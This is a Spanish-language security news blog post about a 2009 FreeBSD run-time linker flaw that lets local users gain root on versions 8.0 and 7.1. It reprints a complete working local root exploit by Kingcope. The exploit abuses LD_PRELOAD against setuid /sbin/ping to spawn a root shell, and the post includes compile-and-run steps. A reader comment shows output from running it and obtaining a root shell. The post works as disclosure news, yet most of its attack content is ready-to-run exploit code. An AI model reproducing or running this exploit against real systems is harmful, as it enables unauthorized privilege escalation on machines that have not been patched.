Entries (RSS)
Dic 1

Fallo en FreeBSD permite obtener root Publicada por DragoN en Noticias Seguridad, Pentest .


Acaba de hacerse publica una vulnerabilidad descubierta por Nikolaos Rangos en los sistemas FreeBSD que permite escalar privilegios y obtener permisos de root en las versiones 8.0 y 7.1 de este sistema operativo.

HNx9D Fallo en FreeBSD permite obtener root

El error reside en el Run-Time-Link Editor (rtld), que normalmente no permite variables de entorno peligrosas como LD_PRELOAD pero con una técnica sencilla el rtld pueden ser engañado para que acepte variables LD, incluso en los binarios setugid.
VERSIONES DE FREEBSD AFECTADAS
**********************************
FreeBSD 8.0-RELEASE *** VULNERABLE
FreeBSD 7.1-RELEASE *** VULNERABLE
FreeBSD 6.3-RELEASE *** NO VULNERABLE
FreeBSD 4.9-RELEASE *** NO VULNERABLE

Para más detalles ver el exploit.

#!/bin/sh
echo ** FreeBSD local r00t zeroday
echo by Kingcope
echo November 2009
cat > env.c << _EOF
#include

main() {
extern char **environ;
environ = (char**)malloc(8096);

environ[0] = (char*)malloc(1024);
environ[1] = (char*)malloc(1024);
strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0");

execl("/sbin/ping", "ping", 0);
}
_EOF
gcc env.c -o env
cat > program.c << _EOF
#include
#include
#include
#include

void _init() {
extern char **environ;
environ=NULL;
system("echo ALEX-ALEX;/bin/sh");
}
_EOF

Para compilar y ejecutar

gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles
cp w00t.so.1.0 /tmp/w00t.so.1.0
./env

Mas Información en el Full Disclosure publicado por Nikolaos Rangos

Envíale este Articulo a Tus Amigos

2 Responses to “Fallo en FreeBSD permite obtener root”

  1. 1
    wilmer Says:

    que siera saber si alguien tiene un manual de intalacion de free sdb 8.0 no lo he podido instalar soy nuevo en esto

    llego ala parte de las particiones y me quedo ahi

    alguna solucion gracias

  2. 2
    __nesthor Says:

    que bien, si me es util ya que necesitaba hacer algo asi con mi servidor
    $ ./env
    /libexec/ld-elf.so.1: environment corrupt; missing value for
    /libexec/ld-elf.so.1: environment corrupt; missing value for
    /libexec/ld-elf.so.1: environment corrupt; missing value for
    /libexec/ld-elf.so.1: environment corrupt; missing value for
    /libexec/ld-elf.so.1: environment corrupt; missing value for
    /libexec/ld-elf.so.1: environment corrupt; missing value for
    ALEX-ALEX
    # who
    xxxxxx ttyv0 Dec 2 14:10
    root ttyv1 Dec 2 14:14
    xxxxxx pts/0 Dec 2 14:11 (:0)
    xxxxxx pts/1 Dec 2 14:13 (:0.0)
    xxxxxx pts/2 Dec 2 16:07 (:0.0)
    #

Leave a Reply


  • Acerca de…

    DragonJAR.org es una comunidad de investigadores, estudiantes, profesionales y entusiastas de la Seguridad Informática, En la cual se busca darle un enfoque eminentemente práctico a la teoría sin olvidar las bases esenciales de esta. De esta manera se Tratará de ofrecer soluciones útiles a los usuarios, tanto novatos, estudiantes, como a los profesionales e investigadores, Teniendo presente que el mundo de la seguridad informática y la información es un medio que se auto inventa constantemente.